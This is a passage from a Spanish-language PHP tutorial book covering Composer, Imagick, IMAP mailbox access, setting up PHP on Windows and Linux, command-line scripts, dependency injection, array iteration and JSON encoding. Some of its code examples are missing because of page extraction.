Usted debe require este archivo temprana en un punto de instalación en el ciclo de vida de la
aplicación mediante una línea similar a la de abajo.
https://riptutorial.com/es/home 254
Una vez incluido, el archivo autoload.php se encarga de cargar todas las dependencias que
proporcionó en su archivo composer.json .
• MyVendorName\MyProject\Shapes\Square ➔ src/Shapes/Square.php .
• MyVendorName\MyProject\Tests\Shapes\Square ➔ tests/Shapes/Square.php .
Compositor se ocupa de las dependencias de PHP por proyecto. Esto facilita tener varios
proyectos en una máquina que dependen de versiones separadas de un paquete PHP.
Compositor rastrea las dependencias que solo están destinadas a los entornos de desarrollo.
<?php
composer update
"require": {
"laravelcollective/html": "2.0.*"
}
https://riptutorial.com/es/home 255
Suponiendo que hayamos instalado la versión 2.0.1 del paquete, la composer update ejecución
provocará una actualización de este paquete (por ejemplo, a 2.0.2 , si ya se ha publicado).
• Leer composer.json
• Elimine los paquetes instalados que ya no sean necesarios en composer.json
• Compruebe la disponibilidad de las últimas versiones de nuestros paquetes requeridos.
• Instala las últimas versiones de nuestros paquetes.
• Actualice composer.lock para almacenar la versión de los paquetes instalados.
composer install
En detalle:
Mando Uso
https://riptutorial.com/es/home 256
Mando Uso
volcado-
Vuelca el autoloader
autoload
auto-
Actualiza composer.phar a la última versión.
actualización
auto
Actualiza composer.phar a la última versión.
actualización
https://riptutorial.com/es/home 257
Mando Uso
por qué Muestra qué paquetes hacen que se instale el paquete dado
Por qué no Muestra qué paquetes impiden que se instale el paquete dado
Instalación
En la zona
Para instalar, ejecute estos comandos en su terminal.
Esto descargará composer.phar (un archivo de archivo PHP) al directorio actual. Ahora puede
ejecutar php composer.phar para usar Composer, por ejemplo
Globalmente
Para usar Composer globalmente, coloque el archivo composer.phar en un directorio que sea
parte de su PATH
mv composer.phar /usr/local/bin/composer
Ahora puedes usar composer cualquier lugar en lugar de php composer.phar , por ejemplo
https://riptutorial.com/es/home 258
composer install
https://riptutorial.com/es/home 259
Capítulo 52: Imaginario
Examples
Primeros pasos
Instalación
Uso
<?php
echo $imagen;
?>
Este ejemplo es cómo convertir una imagen en una cadena Base64 (es decir, una cadena que
puede usar directamente en un atributo src de una etiqueta img ). Este ejemplo utiliza
específicamente la biblioteca Imagick (también hay otras disponibles, como GD ).
<?php
/**
* This loads in the file, image.jpg for manipulation.
* The filename path is releative to the .php file containing this code, so
* in this example, image.jpg should live in the same directory as our script.
*/
$img = new Imagick('image.jpg');
https://riptutorial.com/es/home 260
/**
* This resizes the image, to the given size in the form of width, height.
* If you want to change the resolution of the image, rather than the size
* then $img->resampleimage(320, 240) would be the right function to use.
*
* Note that for the second parameter, you can set it to 0 to maintain the
* aspect ratio of the original image.
*/
$img->resizeImage(320, 240);
/**
* This returns the unencoded string representation of the image
*/
$imgBuff = $img->getimageblob();
/**
* This clears the image.jpg resource from our $img object and destroys the
* object. Thus, freeing the system resources allocated for doing our image
* manipulation.
*/
$img->clear();
/**
* This creates the base64 encoded version of our unencoded string from
* earlier. It is then output as an image to the page.
*
* Note, that in the src attribute, the image/jpeg part may change based on
* the image type you're using (i.e. png, jpg etc).
*/
$img = base64_encode($imgBuff);
echo "<img alt='Embedded Image' src='data:image/jpeg;base64,$img' />";
https://riptutorial.com/es/home 261
Capítulo 53: IMAP
Examples
Instalar extensión IMAP
Para usar las funciones IMAP en PHP, necesitará instalar la extensión IMAP:
Conectando a un buzón
Para hacer cualquier cosa con una cuenta IMAP, primero debes conectarte. Para hacer esto
necesitas especificar algunos parámetros requeridos:
imap, pop3,
/service=service ¿Qué servicio utilizar? imap
nntp, smtp
https://riptutorial.com/es/home 262
Bandera Descripción Opciones Defecto
{imap.example.com:993/imap/tls/secure}
Tenga en cuenta que si alguno de los caracteres de su cadena de conexión no es ASCII, debe
codificarse con utf7_encode ($ cadena) .
Para conectar con el buzón, usamos el comando imap_open que devuelve un valor de recurso
que apunta a una secuencia:
https://riptutorial.com/es/home 263
<?php
$mailbox = imap_open("{imap.example.com:993/imap/tls/secure}", "username", "password");
if ($mailbox === false) {
echo "Failed to connect to server";
}
Una vez que se haya conectado a su buzón, querrá echar un vistazo al interior. El primer
comando útil es imap_list . El primer parámetro es el recurso que adquirió de imap_open , el
segundo es la cadena de su buzón y el tercero es una cadena de búsqueda difusa ( * se usa para
coincidir con cualquier patrón).
Array
(
[0] => {imap.example.com:993/imap/tls/secure}INBOX
[1] => {imap.example.com:993/imap/tls/secure}INBOX.Sent
[2] => {imap.example.com:993/imap/tls/secure}INBOX.Drafts
[3] => {imap.example.com:993/imap/tls/secure}INBOX.Junk
[4] => {imap.example.com:993/imap/tls/secure}INBOX.Trash
)
Puedes usar el tercer parámetro para filtrar estos resultados de la siguiente manera:
Array
(
[0] => {imap.example.com:993/imap/tls/secure}INBOX.Sent
)
Nota : Usar * como una búsqueda difusa devolverá todas las coincidencias de forma recursiva. Si
usa % , solo se mostrarán las coincidencias en la carpeta actual especificada.
Puede devolver una lista de todos los mensajes en un buzón usando imap_headers .
<?php
$headers = imap_headers($mailbox);
https://riptutorial.com/es/home 264
El resultado es una matriz de cadenas con el siguiente patrón:
Tenga en cuenta que esta llamada puede tardar bastante tiempo en ejecutarse y puede
devolver una lista muy grande.
Una alternativa es cargar mensajes individuales a medida que los necesite. A cada correo
electrónico se le asigna un ID de 1 (el más antiguo) al valor de imap_num_msg($mailbox) .
Hay una serie de funciones para acceder a un correo electrónico directamente, pero la forma más
sencilla es utilizar imap_header que devuelve información de encabezado estructurado:
<?php
$header = imap_headerinfo($mailbox , 1);
stdClass Object
(
[date] => Wed, 19 Oct 2011 17:34:52 +0000
[subject] => Message Subject
[message_id] => <04b80ceedac8e74$51a8d50dd$0206600a@user1687763490>
[references] => <[email protected]>
[toaddress] => Some One Else <[email protected]>
[to] => Array
(
[0] => stdClass Object
(
[personal] => Some One Else
[mailbox] => someonelse
https://riptutorial.com/es/home 265
[host] => example.com
)
)
[fromaddress] => Some One <[email protected]>
[from] => Array
(
[0] => stdClass Object
(
[personal] => Some One
[mailbox] => someone
[host] => example.com
)
)
[reply_toaddress] => Some One <[email protected]>
[reply_to] => Array
(
[0] => stdClass Object
(
[personal] => Some One
[mailbox] => someone
[host] => example.com
)
)
[senderaddress] => Some One <[email protected]>
[sender] => Array
(
[0] => stdClass Object
(
[personal] => Some One
[mailbox] => someone
[host] => example.com
)
)
[Recent] =>
[Unseen] =>
[Flagged] =>
[Answered] =>
[Deleted] =>
[Draft] =>
[Msgno] => 1
[MailDate] => 19-Oct-2011 17:34:48 +0000
[Size] => 1728
[udate] => 1319038488
)
https://riptutorial.com/es/home 266
Capítulo 54: Instalación de un entorno PHP
en Windows
Observaciones
Los servicios HTTP normalmente se ejecutan en el puerto 80, pero si tiene alguna aplicación
instalada como Skype que también utiliza el puerto 80, entonces no se iniciará. En ese caso, debe
cambiar el puerto o el puerto de la aplicación en conflicto. Cuando haya terminado, reinicie el
servicio HTTP.
Examples
Descargar e instalar XAMPP
¿Qué es XAMPP?
XAMPP es el entorno de desarrollo PHP más popular. XAMPP es una distribución Apache
completamente gratuita, de código abierto y fácil de instalar que contiene MariaDB, PHP y Perl.
https://riptutorial.com/es/home 267
Instale con el instalador provisto
1. Ejecute el instalador del servidor XAMPP haciendo doble clic en el .exe descargado.
Nota: Si elige un directorio raíz C:\ como destino, no debe iniciar setup_xampp.bat .
Postinstalación
Use el "Panel de control de XAMPP" para tareas adicionales, como iniciar / detener Apache,
MySQL, FileZilla y Mercury o instalarlos como servicios.
Manejo de archivos
La instalación es un proceso sencillo y una vez que se complete, puede agregar archivos html /
php para que se alojen en el servidor en XAMPP-root/htdocs/ . Luego, inicie el servidor y abra
http://localhost/file.php en un navegador para ver la página.
http://localhost/
http://127.0.0.1/
https://riptutorial.com/es/home 268
https://riptutorial.com/es/home 269
• WampServer (32 BITS) 3
Proporcionando actualmente:
• Apache: 2.4.18
• MySQL: 5.7.11
• PHP: 5.6.19 y 7.0.4
Una vez hecho esto, puede iniciar WampServer. Luego comienza en la bandeja del sistema
(barra de tareas), inicialmente de color rojo y luego se vuelve verde una vez que el servidor está
activo.
En primer lugar, necesita tener IIS ( Internet Information Services ) instalado y ejecutándose en su
máquina; IIS no está disponible de forma predeterminada, debe agregar la característica desde el
Panel de control -> Programas -> Características de Windows.
Opcionalmente, puede instalar el Administrador de PHP para IIS, que es de gran ayuda para
configurar el archivo ini y rastrear el registro de errores (no funciona en Windows 10).
https://riptutorial.com/es/home 270
Recuerde establecer index.php como uno de los documentos predeterminados para IIS.
Al igual que Linux, IIS tiene una estructura de directorios en el servidor, la raíz de este árbol es
C:\inetpub\wwwroot\ , aquí está el punto de entrada para todos sus archivos públicos y scripts de
PHP.
Ahora use su editor favorito, o simplemente el Bloc de notas de Windows, y escriba lo siguiente:
<?php
header('Content-Type: text/html; charset=UTF-8');
echo '<html><head><title>Hello World</title></head><body>Hello world!</body></html>';
Luego abra su nuevo sitio web usando su navegador en esta dirección: http: //localhost/index.php
https://riptutorial.com/es/home 271
Capítulo 55: Instalación en entornos Linux /
Unix
Examples
Instalación de línea de comandos utilizando APT para PHP 7
Esto solo instalará PHP. Si desea entregar un archivo PHP a la web, también
necesitará instalar un servidor web como Apache , Nginx , o usar el servidor web
incorporado de PHP ( php versión 5.4+ ).
Si está en una versión de Ubuntu por debajo de 16.04 y desea utilizar PHP 7 de todos
modos, puede agregar el repositorio de PPA de Ondrej haciendo lo siguiente: sudo
add-apt-repository ppa:ondrej/php
php --version
Use el comando yum para administrar paquetes en sistemas operativos basados en Enterprise
Linux:
https://riptutorial.com/es/home 272
Esto instala una instalación mínima de PHP que incluye algunas características comunes. Si
necesita módulos adicionales, deberá instalarlos por separado. Una vez más, puedes usar yum
para buscar estos paquetes:
Ejemplo de salida:
php-bcmath.x86_64 : A module for PHP applications for using the bcmath library
php-cli.x86_64 : Command-line interface for PHP
php-common.x86_64 : Common files for PHP
php-dba.x86_64 : A database abstraction layer module for PHP applications
php-devel.x86_64 : Files needed for building PHP extensions
php-embedded.x86_64 : PHP library for embedding in applications
php-enchant.x86_64 : Human Language and Character Encoding Support
php-gd.x86_64 : A module for PHP applications for using the gd graphics library
php-imap.x86_64 : A module for PHP applications that use IMAP
Las distribuciones de Enterprise Linux siempre han sido conservadoras con las actualizaciones y,
por lo general, no se actualizan más allá del lanzamiento puntual con el que se enviaron. Varios
repositorios de terceros proporcionan versiones actuales de PHP:
• IUS
• Remi colette
• Webtatic
IUS y Webtatic proporcionan paquetes de reemplazo con nombres diferentes (p php56u Ej., php56u
o php56w para instalar PHP 5.6), mientras que el repositorio de Remi proporciona actualizaciones
in situ utilizando los mismos nombres que los paquetes del sistema.
A continuación hay instrucciones para instalar PHP 7.0 desde el repositorio de Remi. Este es el
ejemplo más simple, ya que no es necesario desinstalar los paquetes del sistema.
https://riptutorial.com/es/home 273
Capítulo 56: Interfaz de línea de comandos
(CLI)
Examples
Manejo de argumentos
Los argumentos se pasan al programa de manera similar a la mayoría de los lenguajes de estilo
C. $argc es un número entero que contiene el número de argumentos, incluido el nombre del
programa, y $argv es una matriz que contiene argumentos para el programa. El primer elemento
de $argv es el nombre del programa.
#!/usr/bin/php
Al llamar a la aplicación anterior con php example.php foo bar (donde example.php contiene el
código anterior) se obtendrá el siguiente resultado:
Tenga en cuenta que $argc y $argv son variables globales, no variables superglobal. Deben
importarse en el ámbito local utilizando la palabra clave global si se necesitan en una función.
Este ejemplo muestra cómo se agrupan los argumentos cuando se utilizan escapes como "" o \ .
Ejemplo de script
var_dump($argc, $argv);
Línea de comando
$ php argc.argv.php --this-is-an-option three\ words\ together or "in one quote" but\
multiple\ spaces\ counted\ as\ one
int(6)
array(6) {
[0]=>
string(13) "argc.argv.php"
[1]=>
string(19) "--this-is-an-option"
[2]=>
string(20) "three words together"
https://riptutorial.com/es/home 274
[3]=>
string(2) "or"
[4]=>
string(12) "in one quote"
[5]=>
string(34) "but multiple spaces counted as one"
}
$ php -r 'var_dump($argv);'
array(1) {
[0]=>
string(1) "-"
}
Cuando se ejecuta desde la CLI, las constantes STDIN , STDOUT y STDERR están predefinidas.
Estas constantes son manejadores de archivos y pueden considerarse equivalentes a los
resultados de ejecutar los siguientes comandos:
Las constantes se pueden usar en cualquier lugar donde un manejador de archivos estándar sea:
#!/usr/bin/php
Las direcciones de flujo incorporadas a las que se hizo referencia anteriormente ( php://stdin ,
https://riptutorial.com/es/home 275
php://stdout y php://stderr ) se pueden usar en lugar de los nombres de archivo en la mayoría de
los contextos:
fclose($stdout);
Como alternativa, también puede usar readline () para la entrada, y también puede usar eco o
imprimir o cualquier otra función de impresión de cadenas para la salida.
Códigos de retorno
La construcción de salida se puede usar para pasar un código de retorno al entorno de ejecución.
#!/usr/bin/php
Los códigos de retorno deben estar en el rango de 0 a 254 (255 está reservado por PHP y no
debe usarse). Por convención, salir con un código de retorno de 0 le dice al programa que llama
que el script PHP se ejecutó correctamente. Utilice un código de retorno distinto de cero para
indicar al programa que llama que se produjo una condición de error específica.
Las opciones del programa se pueden manejar con la función getopt() . Funciona con una
sintaxis similar al comando POSIX getopt , con soporte adicional para las opciones largas de
estilo GNU.
#!/usr/bin/php
https://riptutorial.com/es/home 276
$shortopts = "hf:v::d";
// GNU-style long options are not required
$longopts = ["help", "version"];
$opts = getopt($shortopts, $longopts);
// options with values can be called like "-f foo", "-ffoo", or "-f=foo"
$file = "";
if (isset($opts["f"])) {
$file = $opts["f"];
}
if (empty($file)) {
fprintf(STDERR, "We wanted a file!" . PHP_EOL);
exit(1);
}
fprintf(STDOUT, "File is %s" . PHP_EOL, $file);
./test.php --help
./test.php --version
./test.php -f foo -ddd
./test.php -v -d -ffoo
./test.php -v5 -f=foo
./test.php -f foo -v 5 -d
https://riptutorial.com/es/home 277
Restrinja la ejecución del script a la línea de comando
La función php_sapi_name() y la constante PHP_SAPI devuelven el tipo de interfaz ( S erver API ) que
está utilizando PHP. Se pueden usar para restringir la ejecución de un script a la línea de
comando, verificando si la salida de la función es igual a cli .
function drupal_is_cli() {
return (!isset($_SERVER['SERVER_SOFTWARE']) && (php_sapi_name() == 'cli' ||
(is_numeric($_SERVER['argc']) && $_SERVER['argc'] > 0)));
}
Ejecutando tu guion
En Linux / UNIX o Windows, se puede pasar un script como argumento al ejecutable de PHP, con
las opciones y argumentos de ese script a continuación:
En Linux / UNIX, el método preferido para ejecutar scripts es usar un shebang (por ejemplo,
#!/usr/bin/env php ) como la primera línea de un archivo, y establecer el bit ejecutable en el
archivo. Suponiendo que el script está en su ruta, puede llamarlo directamente:
El uso de /usr/bin/env php hace que el ejecutable de PHP se encuentre utilizando el PATH.
Siguiendo cómo se instala PHP, es posible que no se encuentre en el mismo lugar (como
/usr/bin/php o /usr/local/bin/php ), a diferencia de env que normalmente está disponible en
/usr/bin/env .
c:\php\php.exe "%~dp0example.php" %*
https://riptutorial.com/es/home 278
O, si agregó el directorio de PHP en el PATH, para un uso conveniente:
php "%~dp0example.php" %*
Cuando se ejecuta desde la CLI, PHP muestra algunos comportamientos diferentes que cuando
se ejecuta desde un servidor web. Estas diferencias deben tenerse en cuenta, especialmente en
el caso de que se pueda ejecutar el mismo script desde ambos entornos.
• Sin cambio de directorio Cuando se ejecuta un script desde un servidor web, el directorio
de trabajo actual es siempre el del propio script. El código require("./stuff.inc"); asume
que el archivo está en el mismo directorio que el script. En la línea de comandos, el
directorio de trabajo actual es el directorio en el que se encuentra cuando llama al script.
Los scripts que se van a llamar desde la línea de comandos siempre deben usar rutas
absolutas. (Tenga en cuenta que las constantes mágicas __DIR__ y __FILE__ continúan
funcionando como se esperaba y devuelven la ubicación del script).
• No hay salida de búfer las php.ini directivas output_buffering y implicit_flush por defecto
a false y true , respectivamente. El almacenamiento en búfer todavía está disponible, pero
debe habilitarse explícitamente, de lo contrario, la salida siempre se mostrará en tiempo
real.
• Sin límite de tiempo La directiva php.ini max_execution_time se establece en cero, por lo
que los scripts no se max_execution_time forma predeterminada.
• No hay errores de HTML En el caso de que haya habilitado la directiva php.ini html_errors
, se ignorará en la línea de comandos.
• Se pueden cargar diferentes php.ini . Cuando está usando php desde cli, puede usar
php.ini diferente al servidor web. Puede saber qué archivo está usando ejecutando php --
ini .
A partir de la versión 5.4, PHP viene con servidor incorporado. Puede utilizarse para ejecutar
aplicaciones sin necesidad de instalar otro servidor http como nginx o apache. El servidor
incorporado está diseñado solo en el entorno del controlador para fines de desarrollo y prueba.
<?php
echo "Hello World from built-in PHP server";
Ahora debes poder ver el contenido en el navegador. Para verificar esto, navegue a
http://localhost:8080
Cada acceso debe dar como resultado una entrada de registro escrita en el terminal
https://riptutorial.com/es/home 279
[Mon Aug 15 18:20:19 2016] ::1:52455 [200]: /
Este ejemplo muestra el comportamiento de getopt cuando la entrada del usuario es poco común:
getopt.php
var_dump(
getopt("ab:c::", ["delta", "epsilon:", "zeta::"])
);
$ php getopt.php -a -a -bbeta -b beta -cgamma --delta --epsilon --zeta --zeta=f -c gamma
array(6) {
["a"]=>
array(2) {
[0]=>
bool(false)
[1]=>
bool(false)
}
["b"]=>
array(2) {
[0]=>
string(4) "beta"
[1]=>
string(4) "beta"
}
["c"]=>
array(2) {
[0]=>
string(5) "gamma"
[1]=>
bool(false)
}
["delta"]=>
bool(false)
["epsilon"]=>
string(6) "--zeta"
["zeta"]=>
string(1) "f"
}
• Las opciones individuales (sin dos puntos) siempre tienen un valor booleano de false si
están habilitadas.
• Si se repite una opción, el valor respectivo en la salida de getopt se convertirá en una
matriz.
• Las opciones de argumento requeridas (una coma) aceptan un espacio o ningún espacio
(como opciones de argumento opcionales) como separador
• Después de un argumento que no se puede asignar a ninguna opción, las opciones que se
encuentran detrás tampoco se asignarán.
https://riptutorial.com/es/home 280
Lea Interfaz de línea de comandos (CLI) en línea:
https://riptutorial.com/es/php/topic/2880/interfaz-de-linea-de-comandos--cli-
https://riptutorial.com/es/home 281
Capítulo 57: Inyección de dependencia
Introducción
La inyección de dependencia (DI) es un término elegante para "pasar cosas" . Todo lo que
realmente significa es pasar las dependencias de un objeto a través del constructor y / o
configuradores en lugar de crearlos en la creación del objeto dentro del objeto. La inyección de
dependencia también puede referirse a los contenedores de inyección de dependencia que
automatizan la construcción y la inyección.
Examples
Inyección Constructor
En el siguiente ejemplo, el Component dependerá de una instancia de Logger , pero no crea una.
Requiere que se pase uno como argumento al constructor.
interface Logger {
public function log(string $message);
}
class Component {
private $logger;
class Component {
private $logger;
El uso de new para crear nuevos objetos en el constructor indica que la inyección de dependencia
no se usó (o se usó de manera incompleta), y que el código está estrechamente acoplado.
https://riptutorial.com/es/home 282
También es una señal de que el código no está completamente probado o puede tener pruebas
frágiles que hacen suposiciones incorrectas sobre el estado del programa.
Inyección de Setter
interface Logger {
public function log($message);
}
class Component {
private $logger;
private $databaseConnection;
Tenga en cuenta que al utilizar la inyección de setter, es mejor ampliar la funcionalidad en lugar
de reemplazarla. Al establecer una dependencia, no hay nada que confirme que la dependencia
no cambie en algún momento, lo que podría generar resultados inesperados. Por ejemplo, un
FileLogger se puede configurar al principio, y luego se puede configurar un MailLogger . Esto
rompe la encapsulación y hace que los registros sean difíciles de encontrar, porque estamos
reemplazando la dependencia.
https://riptutorial.com/es/home 283
Para evitar esto, deberíamos agregar una dependencia con la inyección de setter, así:
interface Logger {
public function log($message);
}
class Component {
private $loggers = array();
private $databaseConnection;
Inyección de contenedores
La implementación exacta va más allá del alcance de este documento, pero en el fondo, un DIC
se basa en el uso de la firma de una clase ...
namespace Documentation;
class Example
{
private $meaning;
https://riptutorial.com/es/home 284
}
... para crear instancias automáticamente, confiando la mayor parte del tiempo en un sistema de
carga automática .
Si está utilizando PHP en la versión al menos 5.5 y desea obtener el nombre de una clase de la manera que se
muestra arriba, la segunda es la forma correcta. De esa manera, puede encontrar rápidamente los usos de la clase
utilizando los IDE modernos, que le ayudarán enormemente con la refactorización potencial. Usted no quiere confiar
en cadenas regulares.
En este caso, Documentation\Example sabe que necesita un Meaning , y un DIC a su vez creará un
tipo de Meaning . La implementación concreta no necesita depender de la instancia consumidora.
En su lugar, establecemos reglas en el contenedor, antes de la creación del objeto, que indica
cómo se deben crear instancias de tipos específicos si es necesario.
Si definimos reglas sobre cómo debe administrarse un tipo específico, podemos lograr un control
preciso sobre qué tipos se comparten, se crean instancias o se crean a partir de una fábrica.
https://riptutorial.com/es/home 285
Capítulo 58: Iteración de matriz
Sintaxis
• para ($ i = 0; $ i <count ($ array); $ i ++) {incremental_iteration (); }
• para ($ i = count ($ array) - 1; $ i> = 0; $ i--) {reverse_iteration (); }
• foreach ($ datos como $ dato) {}
• foreach ($ data como $ key => $ datum) {}
• foreach ($ data as & $ datum) {}
Observaciones
foreach por
Método simple para iterar y cambiar elementos de una matriz.
referencia
for con índice Permite iterar la matriz en una secuencia libre, por ejemplo, omitiendo
incremental o invirtiendo múltiples elementos
Punteros de matriz Ya no es necesario usar un bucle (de modo que pueda iterar una vez
interna que cada llamada de función, recepción de señal, etc.)
Examples
Iterando múltiples matrices juntas
A veces, dos matrices de la misma longitud deben repetirse juntas, por ejemplo:
array_map(function($person, $food) {
return "$person likes $food\n";
}, $people, $foods);
https://riptutorial.com/es/home 286
que dará salida:
Si las dos matrices no tienen las claves incrementales, array_values($array)[$i] se puede usar
para reemplazar $array[$i] .
Si ambas matrices tienen el mismo orden de claves, también puede usar un bucle foreach-with-
key en una de las matrices:
Las matrices separadas solo se pueden recorrer en bucle si tienen la misma longitud y también
tienen el mismo nombre de clave. Esto significa que si no proporciona una clave y están
numeradas, estará bien o si nombra las claves y las coloca en el mismo orden en cada matriz.
Este método funciona al incrementar un número entero de 0 al índice más grande de la matriz.
Esto también permite iterar una matriz en orden inverso sin usar array_reverse , lo que puede
array_reverse sobrecarga si la matriz es grande.
https://riptutorial.com/es/home 287
$colors = ['red', 'yellow', 'blue', 'green'];
for ($i = count($colors) - 1; $i >= 0; $i--) {
echo 'I am the color ' . $colors[$i] . '<br>';
}
Salida:
alpha
beta
gamma
beta
zeta
epsilon
Para matrices que no tienen índices incrementales (incluidas las matrices con índices en orden
inverso, por ejemplo, [1 => "foo", 0 => "bar"] , ["foo" => "f", "bar" => "b"] ), esto no se puede
hacer directamente. array_values o array_keys pueden usarse en su lugar:
$array = ["a" => "alpha", "b" => "beta", "c" => "gamma", "d" => "delta"];
$keys = array_keys($array);
for ($i = 0; $i < count($array); $i++) {
$key = $keys[$i];
$value = $array[$key];
echo "$value is $key\n";
}
Cada instancia de matriz contiene un puntero interno. Al manipular este puntero, diferentes
elementos de una matriz se pueden recuperar de la misma llamada en diferentes momentos.
Usando each
Cada llamada a each() devuelve la clave y el valor del elemento de la matriz actual, e incrementa
el puntero interno de la matriz.
https://riptutorial.com/es/home 288
echo "$value begins with $key";
}
Usando next
Tenga en cuenta que este ejemplo supone que ningún elemento de la matriz es idéntico a
booleano false . Para evitar tal suposición, use la key para verificar si el puntero interno ha llegado
al final de la matriz:
class ColorPicker {
private $colors = ["#FF0064", "#0064FF", "#64FF00", "#FF6400", "#00FF64", "#6400FF"];
public function nextColor() : string {
$result = next($colors);
// if end of array reached
if (key($colors) === null) {
reset($colors);
}
return $result;
}
}
Usando foreach
Bucle directo
foreach ($colors as $color) {
echo "I am the color $color<br>";
}
https://riptutorial.com/es/home 289
}
Esto es similar a:
Concurrencia
Arrays PHP pueden ser modificados en cualquier forma durante la iteración y sin problemas de
concurrencia (a diferencia por ejemplo de Java List s). Si la matriz se itera por referencia, las
iteraciones posteriores se verán afectadas por los cambios en la matriz. De lo contrario, los
cambios en la matriz no afectarán a las iteraciones posteriores (como si en su lugar estuviera
iterando una copia de la matriz). Comparar bucles por valor:
Salida:
0 => 1
2 => 3
4 => 5
6 => 7
https://riptutorial.com/es/home 290
if ($key === 0) {
$array[6] = 17;
unset($array[4]);
}
echo "$key => $value\n";
}
Salida:
0 => 1
2 => 3
6 => 17
Php arrayiterator le permite modificar y desarmar los valores mientras itera sobre matrices y
objetos.
Ejemplo:
$array = ['1' => 'apple', '2' => 'banana', '3' => 'cherry'];
$iterator = $arrayObject->getIterator();
Salida:
1 => apple
2 => banana
3 => cherry
https://riptutorial.com/es/home 291
Capítulo 59: JSON
Introducción
JSON ( JavaScript Object Notation ) es una forma independiente de plataforma y lenguaje de
serializar objetos en texto plano. Debido a que se usa a menudo en la web y también lo es PHP,
hay una extensión básica para trabajar con JSON en PHP.
Sintaxis
• cadena json_encode (valor mezclado de $ [, int $ options = 0 [, int $ depth = 512]])
• json_decode mixto (string $ json [, bool $ assoc = false [, int $ depth = 512 [, int $ options =
0]]])
Parámetros
Parámetro Detalles
json_encode -
json_decode -
La cadena json está siendo decodificada. Esta función solo funciona con
json
cadenas codificadas en UTF-8.
Observaciones
• El manejo de json_decode de JSON no válido es muy inestable, y es muy difícil determinar
https://riptutorial.com/es/home 292
de manera confiable si la decodificación tuvo éxito, json_decode devuelve nulo para una
entrada no válida, aunque null también es un objeto perfectamente válido para que JSON
decodifique. Para evitar este tipo de problemas, siempre debe llamar a json_last_error
cada vez que lo use.
Examples
Decodificando una cadena JSON
La función json_decode() toma una cadena codificada en JSON como su primer parámetro y la
analiza en una variable de PHP.
// Returns an object (The top level item in the JSON string is a JSON dictionary)
$json_string = '{"name": "Jeff", "age": 20, "active": true, "colors": ["red", "blue"]}';
$object = json_decode($json_string);
printf('Hello %s, You are %s years old.', $object->name, $object->age);
#> Hello Jeff, You are 20 years old.
// Returns an array (The top level item in the JSON string is a JSON array)
$json_string = '["Jeff", 20, true, ["red", "blue"]]';
$array = json_decode($json_string);
printf('Hello %s, You are %s years old.', $array[0], $array[1]);
Use var_dump() para ver los tipos y valores de cada propiedad en el objeto que decodificamos
arriba.
Para devolver una matriz asociativa para objetos JSON en lugar de devolver un objeto, pase true
https://riptutorial.com/es/home 293
como segundo parámetro a json_decode() .
$json_string = '{"name": "Jeff", "age": 20, "active": true, "colors": ["red", "blue"]}';
$array = json_decode($json_string, true); // Note the second parameter
var_dump($array);
array(4) {
["name"] => string(4) "Jeff"
["age"] => int(20)
["active"] => bool(true)
["colors"] =>
array(2) {
[0] => string(3) "red"
[1] => string(4) "blue"
}
}
Nota: Si usa el parámetro $assoc , perderá la distinción entre una matriz vacía y un objeto vacío.
Esto significa que ejecutar json_encode() en su salida descodificada de nuevo, resultará en una
estructura JSON diferente.
Según el manual:
Esto significa que, por ejemplo, una cadena simple se considerará un objeto JSON válido en
PHP:
Salida:
https://riptutorial.com/es/home 294
string(8) "No error"
Pero las cadenas simples, que no están en una matriz u objeto, no forman parte del estándar
RFC 4627 . Como resultado, los verificadores en línea como JSLint , JSON Formatter & Validator
(en modo RFC 4627) le darán un error.
Hay un tercer parámetro $depth para la profundidad de la recursión (el valor predeterminado es
512 ), lo que significa la cantidad de objetos anidados dentro del objeto original a decodificar.
var_dump(json_decode('tRue'), json_last_error_msg());
var_dump(json_decode('tRUe'), json_last_error_msg());
var_dump(json_decode('tRUE'), json_last_error_msg());
var_dump(json_decode('TRUe'), json_last_error_msg());
var_dump(json_decode('TRUE'), json_last_error_msg());
var_dump(json_decode('true'), json_last_error_msg());
bool(true)
string(8) "No error"
bool(true)
string(8) "No error"
bool(true)
string(8) "No error"
bool(true)
string(8) "No error"
bool(true)
string(8) "No error"
bool(true)
string(8) "No error"
Y después:
NULL
string(12) "Syntax error"
NULL
string(12) "Syntax error"
NULL
string(12) "Syntax error"
NULL
string(12) "Syntax error"
NULL
string(12) "Syntax error"
bool(true)
string(8) "No error"
https://riptutorial.com/es/home 295
Similar comportamiento ocurre para false y null .
$person = json_decode($json);
echo $person->name; // Notice: Trying to get property of non-object: returns null
echo json_last_error();
# 4 (JSON_ERROR_SYNTAX)
echo json_last_error_msg();
# unexpected character
No es seguro confiar solo en que el valor de retorno sea NULL para detectar errores. Por ejemplo,
si la cadena JSON no contiene nada más que "null" , json_decode() devolverá null , aunque no
se haya producido ningún error.
La función json_encode convertirá una matriz PHP (o, desde PHP 5.4, un objeto que implementa la
interfaz JsonSerializable ) en una cadena codificada en JSON. Devuelve una cadena codificada
en JSON en caso de éxito o FALSE en caso de error.
$array = [
'name' => 'Jeff',
'age' => 20,
'active' => true,
'colors' => ['red', 'blue'],
'values' => [0=>'foo', 3=>'bar'],
];
Durante la codificación, los tipos de datos de PHP, cadena, entero y booleano se convierten a su
equivalente JSON. Las matrices asociativas se codifican como objetos JSON y, cuando se llaman
con argumentos predeterminados, las matrices indexadas se codifican como matrices JSON. (A
menos que las claves de matriz no sean una secuencia numérica continua que comience desde
0, en cuyo caso la matriz se codificará como un objeto JSON).
echo json_encode($array);
Salida:
{"name":"Jeff","age":20,"active":true,"colors":["red","blue"],"values":{"0":"foo","3":"bar"}}
Argumentos
